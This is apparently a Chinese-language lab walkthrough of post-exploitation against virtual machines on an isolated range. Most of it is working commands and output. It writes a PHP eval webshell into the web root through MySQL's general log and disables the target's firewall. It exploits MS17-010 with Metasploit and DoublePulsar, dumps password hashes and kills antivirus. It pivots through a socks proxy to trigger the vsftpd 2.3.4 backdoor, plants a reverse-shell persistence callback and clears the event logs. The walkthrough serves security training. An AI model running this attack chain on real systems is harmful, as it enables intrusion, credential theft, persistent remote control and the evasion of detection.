后渗透测试实践

靶场来源:http://www.cmpedu.com/books/book/5606766.htm

1. 环境搭建

alt text

首先给VMware创建两个仅主机模式的网卡:

  • vmnet6: 192.168.159.0/24
  • vmnet7: 192.168.139.0/24

alt text

然后将vmnet6添加给kali和Server(Win7),vmnet7添加给Server(Win7)和Metasploitable2。设备开机后再逐个配置静态IP地址为最前面的拓扑图总所示的地址。

为了能真实的模拟内网横向,需要删除kali的默认网关:ip route del default

2. 获取权限

2.1. Webshell

在kali上使用nmap对目标主机进行端口扫描:

1
nmap 192.168.159.141 -n -Pn -T5 -p-

alt text

只放行了80端口,尝试浏览器访问下80端口:

alt text

可知目标主机的web服务由小皮面板(phpStudy)搭建,并且网站的根目录在目标服务器的C:/WWW路径下。由于小皮面板通常会自带phpMyAdmin,因此可以尝试访问下http://192.168.159.141/phpmyadmin/:

alt text

使用弱口令root/root成功登录进phpMyAdmin:

alt text

尝试执行SELECT <内容> INTO OUTFILE <文件路径>语句将一句话木马写入到站点根目录中去:

1
SELECT "<?php @eval($_REQUEST['mkbk']);?>" INTO OUTFILE "C:/WWW/hack.php";

alt text

写入失败,提示被--secure-file-priv 选项限制,继续查看此选项的配置值:

1
SHOW GLOBAL VARIABLES LIKE "%secure_file_priv%";

alt text

null值,无法写入,并且secure_file_priv作为只读变量是无法修改的:

1
SET GLOBAL secure_file_priv = ''; 

alt text

尝试从MySQL的查询记录日志下手,首先查看查询日志配置信息:

1
SHOW GLOBAL VARIABLES LIKE "%general_log%";

alt text

修改查询日志开关以及日志路径:

1
2
SET GLOBAL general_log=on;
SET GLOBAL general_log_file='C:/WWW/hack.php'; -- 默认将查询日志写到站点根目录

执行完成后再运行SHOW GLOBAL VARIABLES LIKE "%general_log%";检查状态:

alt text

成功修改,接着再运行一条带一句话木马的查询语句,以将其写入到查询日志中去:

1
SELECT "<?php @eval($_REQUEST['mkbk']);?>";

alt text

运行生效,再访问下查询日志文件hack.php: http://192.168.159.141/hack.php

alt text

能访问,再验证下能否解析php代码,地址栏发起GET请求 http://192.168.159.141/hack.php?mkbk=phpinfo();:

alt text

没有问题,再用中国蚁剑连接webshell http://192.168.159.141/hack.php

alt text

连上蚁剑后进入虚拟终端,查看用户:

alt text

用户为system,成功获取到最高权限。

2.2. 永恒之蓝

继续在虚拟终端中运行systeminfo命令查看系统信息:

alt text

可以看到系统为Windows家庭版,那么RDP远程桌面是无法使用的,并且系统安装了2块网卡,其中网卡1与kali不在同一个网段,说明可以继续模拟内网横向移动。

在内网横向之前,可以先收集更多可以利用的信息。使用netstat -ano查看网络连接状态:

alt text

可以看到系统运行了445和139端口,继续运行sc query mrxsmb10命令验证SMB版本是否是v1:

alt text

SMBv1在运行,可以尝试使用msf利用永恒之蓝漏洞(ms17-010)获得得到更好的后渗透环境。在此之前先关闭防火墙,以便让kali能连接到smb的端口:

1
netsh advfirewall set allprofiles state off

alt text

复制命令到蚁剑虚拟终端运行时,如果多复制了个换行符,会导致终端返回ret=1。需要粘贴后删掉换行符,或者把命令手打上去,才可以正常运行。

接着再运行netsh advfirewall show allprofiles查看防火墙状态:

alt text

输出乱码,即使设置了chcp 65001(UTF-8字符编码)或chcp 936(GBK字符编码),同样乱码。那么就不在蚁剑中查看防火墙状态了,直接用kali上的nmap进行端扫,如果扫出了80端口以外的端口,那么就说明防火墙已经关掉了:

1
nmap 192.168.159.141 -n -Pn -T5 -F

alt text

可以验证防火墙已经关闭了。继续尝试使用msf利用永恒之蓝漏洞,首先使用辅助模块扫描永恒之蓝漏洞是否真的可用:

1
2
3
4
5
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.159.141
run

alt text

提示可能存在永恒之蓝漏洞,继续使用exp模块来利用漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.159.141
rhost => 192.168.159.141
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.159.131:4444
[*] 192.168.159.141:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.159.141:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7600 x86 (32-bit)
[*] 192.168.159.141:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.159.141:445 - The target is vulnerable.
[-] 192.168.159.141:445 - Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

alt text

利用失败,提示此模块仅支持64位系统,而目标系统是32位的,不受支持。解决方案是使用ms17_010_eternalblue_doublepulsar项目,该项目支持32位系统的永恒之蓝漏洞利用。

首先需要安装Wine(exe运行环境),安装时间可能会比较长,建议先换源再安装:

由于最开始的环境搭建环节为了能真实模拟后续的内网横向,便把kali的默认网关删掉了,为了能恢复联网状态,可以给kali添加NAT网卡或者桥接网卡,在配置完成后再运行ip route del default删掉默认网关即可。

1
2
sed -i "s@http://http.kali.org/kali@https://mirrors.tuna.tsinghua.edu.cn/kali@g" /etc/apt/sources.list  # 换源
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 # 安装

安装完成后使用以下命令验证Wine可用性:

1
2
wine --version  # 验证版本
rm -r ~/.wine && wine cmd.exe # 验证CMD可用性

alt text

接着再克隆项目并配置:

1
2
3
4
5
6
cd /tmp
git clone https://github.com/hhktony/ms17_010_eternalblue_doublepulsar.git
cd ms17_010_eternalblue_doublepulsar
cp ms17_010_eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
mkdir -p /root/Eternalblue-Doublepulsar-Metasploit/deps
cp -r deps/ /root/Eternalblue-Doublepulsar-Metasploit/

完成以上配置后便可以删除kali默认网关并进行漏洞利用了:

1
2
3
4
5
6
7
8
9
msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show targets
set RHOSTS 192.168.159.141
# set PROCESSINJECT wlms.exe # 默认配置,无法建立Meterpreter会话(Win7进程中没有此程序)
# set PROCESSINJECT lsass.exe # 系统会1分钟后故障重启
# set PROCESSINJECT explorer.exe # 有一定几率资源管理器崩掉
set PROCESSINJECT svchost.exe
run

alt text

漏洞利用成功,拿到了meterpreter的shell。

3. 信息收集

在拿到meterpreter的shell之后,就可以开始进行后渗透测试实践了。可以先用以下命令进行信息收集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sysinfo  # 查看目标系统信息
getuid # 查看当前用户
ps # 查看进程
ipconfig # 查看网卡信息
route # 查看路由表
arp -a # 查看arp缓存表
screenshot # 获取屏幕截图
upload <本机文件路径> #上传文件
download <靶机文件路径> # 下载文件

run post/windows/manage/killav # 关闭杀毒软件
run post/windows/gather/hashdump # 转储用户哈希
run windows/gather/smart_hashdump # 转储用户哈希
run post/windows/gather/enum_domain # 查看域信息
run post/windows/gather/win_privs # 列举当前用户权限
run post/windows/gather/dnscache_dump # 查看dns缓存
run post/windows/gather/checkvm # 检查系统是否运行在虚拟机中国
run post/windows/gather/enum_logged_on_users # 列举当前登录用户
run post/windows/gather/forensics/enum_drives # 列举磁盘分区信息
run post/windows/gather/enum_applications # 列举已安装的程序
run post/windows/gather/enum_shares # 列举共享信息
run post/windows/gather/dumplinks # 查看最近打开过的文件记录
run post/windows/gather/enum_prefetch # 列举最近运行过的程序

在msfconsole中运行search post/windows/gather可以检索全部可用的信息收集工具。或者查看此文章获取更多命令:https://blog.csdn.net/2302_76986722/article/details/132919048

4. 横向渗透

4.1. msf代理

前面在蚁剑的虚拟终端中运行systeminfo命令时已经看到目标主机中有2个网卡,其中网卡1的IP与kali不在同一网段,因此可做位第2个攻击目标进行横向渗透。

横向渗透最简单的打法就是直接把内网杀器fsan上传到目标主机1,然后再运行目标主机上的fscan对目标主机2进行扫描和攻击。因为目标主机1是比较老的32位Win7,因此fsan建议使用二开版fs: https://github.com/P001water/fs

将fs上传到Win7后,便可以使用以下命令进行扫描和爆破:

1
2
.\fs86 -t 192.168.139.1-254 -o r.txt
type r.txt | findstr + | findstr /v 192.168.139.131

alt text

扫描出网卡1所在网段中存在的另一台主机192.168.139.131存在SSH弱口令、FTP匿名登录、php-cgi参数注入漏洞。

但这种方式每次使用新的工具时都需要先把工具上传到目标主机1,然后再操控目标主机1对目标主机2进行攻击,并不是最佳实践,更常见的做法是配置socks代理,将目标主机2路由到kali上去。

首先打开meterpreter会话,输入run post/multi/manage/autoroute,自动添加目标主机1的路由到kali上,然后再输入run autoroute -p查看路由:

alt text

接着输入background,将meterpreter会话加入后台,然后切换到socks代理辅助模块:use auxiliary/server/socks_proxy,并设置socks版本为4a: set version 4a,随后run运行即可:

alt text

要停止socks代理可以用jobs命令获取任务id,然后用jobs -k <id>命令终止即可;
要恢复加入后台的meterpreter会话可以用sessions命令获取会话id,然后用sessions -i <id>命令进入会话即可。

4.2. vsftp笑脸漏洞

socks4a代理启动后,可以用proxychains工具来调用代理。先新开一个终端,然后修改proxychains的配置文件:

1
2
3
4
5
cat > /etc/proxychains.conf << EOF
[ProxyList]
socks4 127.0.0.1 1080
# socks5 127.0.0.1 1080
EOF

改完配置后便可以通过在proxychains命令后面加上其他需要代理工具,实现调用代理的效果。比如用nmap调用代理去扫描目标主机2开放的端口以及端口服务信息:

1
proxychains -q nmap 192.168.139.133 -n -Pn -sT -F -T5 -sV -v

socks代理必须完成三次握手,因此nmap必须使用-sT参数进行”全开扫描”,并且socks无法代理下层的icmp流量,因此nmap还必须加上-Pn参数跳过存活扫描。

alt text

扫描到目标主机运行了v2.3.4版本的vsftp,这个版本存在一个”笑脸漏洞”,利用方法非常简单,首先向目标主机2发起ftp连接:

1
proxychains -q ftp 192.168.139.133

提示输入用户名的时候,随便敲,只要结尾有文颜字笑脸符号:)即可,密码可以直接回车,然后会提示登陆失败:

alt text

此时vsftp会自动开启6200端口,kali便可以nc或者ncat去连接此端口,以获得正向shell:

1
proxychains -q nc 192.168.139.133 6200

alt text

除了手动利用vsftp的笑脸漏洞,还可以使用vsftpd_2.3.4_Exploit进行利用:

1
2
3
4
git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git
cd vsftpd_2.3.4_Exploit
pip install pwn --break-system-packages -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple some-package
proxychains -q python exploit.py 192.168.139.133

alt text

因为目标主机2是Metasploitable2,因此还有其他可利用的漏洞,具体可以参考此文章:https://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247522558&idx=1&sn=56859f81091257fba4773658cfcec6ed

5. 后门持久化

由于Meterpreter是驻留在内存中的ShellCode,一旦目标机进行重启,就将失去目标机的控制权,因此为了长久地控制目标机,需要对目标机植入持久化后门。在Meterpreter后门持久化中常用的模块为Persistence。

持久化配置如下

1
2
3
4
5
6
7
background
use exploit/windows/local/persistence
set session <会话ID> # 用sessions命令查看会话id
set startup SYSTEM # 启动类型
set lhost 192.168.159.131 # 回连IP
set lport 6666 # 回连端口
run

alt text

监听配置如下:

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set lhost 192.168.159.131
set lport 6666
run

之后只要目标设备一重启,就会每隔10s自动反连kali:

alt text

6. 痕迹清理

使用meterpreter的clearev命令(需要system权限)可以快速清除Windows中的应用程序日志、系统日志、安全日志:

alt text

或者手动删除日志文件(需要管理员权限):

  • 系统日志文件:%SystemRoot%\System32\Winevt\Logs\System.evtx
  • 安全性日志文件: %SystemRoot%\System32\Winevt\Logs\Security.evtx
  • 应用程序日志文件:%SystemRoot%\System32\Winevt\Logs\Application.evtx
  • Recent文件夹: %userprofile%\Recent\
  • 预读取文件夹: %SystemRoot%\Prefetch\

7. 参考

http://www.cmpedu.com/books/book/5606766.htm
https://www.freebuf.com/sectool/360806.html
https://developer.aliyun.com/article/1055036